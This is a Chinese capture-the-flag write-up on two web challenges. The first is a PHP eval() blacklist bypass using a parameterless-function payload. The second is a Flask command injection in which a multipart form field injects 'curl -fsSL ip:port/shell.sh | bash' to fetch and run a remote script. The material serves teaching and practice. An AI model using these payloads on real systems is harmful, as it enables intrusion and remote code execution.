Mercy-Code
<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
$cmd = $_POST['cmd'];
if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
die('What are you thinking?');
} else {
eval($cmd);
}
} else {
die('Please calm down');
}
}
无参RCE,就是黑名单多了一点
fuzz
一下可用的无参函数,发现有个umask()
,返回了18
ceil(sinh(cosh(tan(floor(tan(umask()))))))=46
后续就是常规的rce
过程
payload
cmd=show_source(end(scandir(chr(ceil(sinh(cosh(tan(floor(tan(umask()))))))))));
picture_convert
有源码,查看之后发现是flask
框架,存在命令注入的地方
其中有一行代码
type = request.form.get("type", "jpg")
这是flask
获取表单的一种方式,但是多个参数的情况我网上没有查到相关资料。
经过一些测试,我的理解是他在提交的表单没有type
的情况下,变量type
的值为jpg
new_filename = str(uuid.uuid4()) + '.' + type
session["filename"] = new_filename
而type
的值会被拼接到filename
的后面,同时在convert
中执行
os.system(
f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename']}'"
)
那我们随意传一个文件,然后修改包为这样
------WebKitFormBoundaryA2OkMRE8aUyLKByY
Content-Disposition: form-data; name="jpg";
Content-Type: image/jpeg
'|| curl -fsSL ip:port/shell.sh | bash ||'
------WebKitFormBoundaryA2OkMRE8aUyLKByY
Content-Disposition: form-data; name="file"; filename="a.jpg"
Content-Type: image/jpeg
123
------WebKitFormBoundaryA2OkMRE8aUyLKByY--
这样的话最后执行的指令相当于
su - conv -c 'cd /app/static/images/ && convert tmpimg e485447f-a38e-4a7a-8740-f4041c46927e.'|| curl -fsSL ip:port/shell.sh | bash ||''